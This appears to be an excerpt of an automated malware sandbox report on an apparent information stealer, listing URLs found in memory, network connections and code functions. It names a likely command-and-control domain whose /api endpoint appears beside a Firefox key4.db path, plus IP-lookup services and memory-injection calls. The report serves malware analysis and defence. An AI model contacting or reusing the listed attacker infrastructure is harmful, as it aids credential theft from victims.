Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA2.crt0
Source: pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertCSRSA4096RootG5.crl0
Source: pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: decrypted_app_1.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: decrypted_app_1.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0F
Source: pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: decrypted_app_1.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0=
Source: pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: mDHwap5GlV.exe	String found in binary or memory: http://html4/loose.dtd
Source: mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052CA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io:443/
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: powershell.exe, 00000004.00000002.1921706741.0000000004984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://www.faststone.org/
Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://www.faststone.org/FSCTutorial.htm
Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://www.faststone.org/FSCTutorial.htmU
Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://www.faststone.org/U
Source: pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: mDHwap5GlV.exe, 00000000.00000002.2577048094.00000000088EA000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000009371000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://aka.ms/binaryformatter
Source: mDHwap5GlV.exe	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?
Source: mDHwap5GlV.exe	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?Description:
Source: mDHwap5GlV.exe, 00000000.00000002.2577048094.00000000088EA000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000009371000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/com
Source: mDHwap5GlV.exe, 00000000.00000002.2577048094.00000000088EA000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000009371000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/nativehost
Source: mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604580772.000000000D410000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593507496.000000000C900000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604677499.000000000D431000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: mDHwap5GlV.exe	String found in binary or memory: https://aka.ms/dotnet/app-launch-failed
Source: mDHwap5GlV.exe	String found in binary or memory: https://aka.ms/dotnet/download
Source: mDHwap5GlV.exe	String found in binary or memory: https://aka.ms/dotnet/downloadInstall
Source: mDHwap5GlV.exe	String found in binary or memory: https://aka.ms/dotnet/info
Source: mDHwap5GlV.exe	String found in binary or memory: https://aka.ms/dotnet/sdk-not-foundFailed
Source: mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: powershell.exe, 00000004.00000002.1921706741.0000000004958000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1921706741.0000000004967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBdq
Source: mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000051BD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: mDHwap5GlV.exe	String found in binary or memory: https://api.ipify.org;Error
Source: pipanel.exe, 00000008.00000003.3201020059.0000000005341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: pipanel.exe, 00000008.00000003.3201020059.0000000005341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: mDHwap5GlV.exe, 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://github.com/dotnet/linker/issues/2392
Source: mDHwap5GlV.exe	String found in binary or memory: https://github.com/dotnet/runtime
Source: mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://github.com/dotnet/runtime/blob/bbc898f3e5678135b242faeb6eefd8b24bf04f3c/src/native/corehost/
Source: mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://github.com/dotnet/runtime/issues/71847
Source: mDHwap5GlV.exe	String found in binary or memory: https://github.com/mono/linker/issues/1416.
Source: mDHwap5GlV.exe	String found in binary or memory: https://github.com/mono/linker/issues/1731
Source: mDHwap5GlV.exe	String found in binary or memory: https://github.com/mono/linker/issues/1906.
Source: mDHwap5GlV.exe	String found in binary or memory: https://github.com/mono/linker/issues/1989
Source: mDHwap5GlV.exe, 00000000.00000002.2577048094.00000000088EA000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000009371000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: https://github.com/mono/linker/issues/2025
Source: mDHwap5GlV.exe	String found in binary or memory: https://github.com/mono/linker/issues/378
Source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://github.com/mono/linker/pull/2125.
Source: mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://github.com/mono/linker/pull/649
Source: pipanel.exe, 00000008.00000003.3201020059.0000000005341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: mDHwap5GlV.exe	String found in binary or memory: https://ipinfo.io/
Source: mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052CA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/8.46.123.75/json
Source: mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052D6000.00000004.00001000.00020000.00000000.sdmp, mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052CA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/missingauth
Source: pipanel.exe, 00000008.00000003.3300281713.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3301790108.0000000003200000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3153999700.000000000328B000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3149305764.000000000328B000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302217673.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3247774576.0000000003280000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.0000000003200000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150414400.000000000328B000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3265221775.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3251446229.0000000003280000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3289055466.0000000003281000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou/
Source: pipanel.exe, 00000008.00000003.3300281713.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302217673.0000000003281000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou/_
Source: pipanel.exe, 00000008.00000003.3289021019.0000000003289000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3251424268.0000000003287000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.0000000003224000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou/api
Source: pipanel.exe, 00000008.00000002.3301790108.0000000003200000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.0000000003200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou/api$
Source: pipanel.exe, 00000008.00000003.3288755840.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299412345.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302356926.00000000032A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou/apibu
Source: pipanel.exe, 00000008.00000003.3288755840.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299412345.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302356926.00000000032A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou/apig
Source: pipanel.exe, 00000008.00000003.3299412345.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302356926.00000000032A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou/apis
Source: pipanel.exe, 00000008.00000003.3300281713.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302217673.0000000003281000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou/e7
Source: pipanel.exe, 00000008.00000003.3247774576.0000000003280000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3265221775.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3251446229.0000000003280000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3289055466.0000000003281000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou/g
Source: pipanel.exe, 00000008.00000003.3247774576.0000000003280000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3251446229.0000000003280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou/rG
Source: pipanel.exe, 00000008.00000003.3300281713.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302217673.0000000003281000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou/s
Source: pipanel.exe, 00000008.00000002.3301790108.0000000003200000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.0000000003200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou:443/api
Source: pipanel.exe, 00000008.00000002.3301790108.0000000003200000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.0000000003200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou:443/api2o4p.default-release/key4.dbPK
Source: pipanel.exe, 00000008.00000002.3301790108.0000000003200000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.0000000003200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://seat-tabooz.cyou:443/apiT
Source: pipanel.exe, 00000008.00000003.3153242568.000000000539E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: pipanel.exe, 00000008.00000003.3200670230.0000000005465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: pipanel.exe, 00000008.00000003.3200670230.0000000005465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: pipanel.exe, 00000008.00000003.3153503975.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3154237672.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3177153641.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3177263165.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3153242568.000000000539C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: pipanel.exe, 00000008.00000003.3153503975.0000000005370000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: pipanel.exe, 00000008.00000003.3153503975.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3154237672.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3177153641.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3177263165.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3153242568.000000000539C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: pipanel.exe, 00000008.00000003.3153503975.0000000005370000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: https://www.faststone.org/order.htm
Source: decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: https://www.faststone.org/order.htmU
Source: pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: pipanel.exe, 00000008.00000003.3200670230.0000000005465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: pipanel.exe, 00000008.00000003.3200670230.0000000005465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: pipanel.exe, 00000008.00000003.3200670230.0000000005465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: pipanel.exe, 00000008.00000003.3200670230.0000000005465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: pipanel.exe, 00000008.00000003.3200670230.0000000005465000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943

Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49962 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03003924 NtWriteVirtualMemory,NtWriteVirtualMemory,		7_2_03003924
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_0300392B NtWriteVirtualMemory,NtWriteVirtualMemory,		7_2_0300392B

Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_00A21920	0_2_00A21920
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_00C762E0	0_2_00C762E0
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_00A7B280	0_2_00A7B280
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_00B2EAD0	0_2_00B2EAD0
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_00A26BA0	0_2_00A26BA0
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09AD9EF0	0_2_09AD9EF0
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09B69250	0_2_09B69250
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F27980	0_2_09F27980
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F5E8D0	0_2_09F5E8D0
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F534F0	0_2_09F534F0
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F1F780	0_2_09F1F780
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F656D0	0_2_09F656D0
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F2A940	0_2_09F2A940
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F3A940	0_2_09F3A940
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F1D910	0_2_09F1D910
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F30880	0_2_09F30880
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09F3C850	0_2_09F3C850
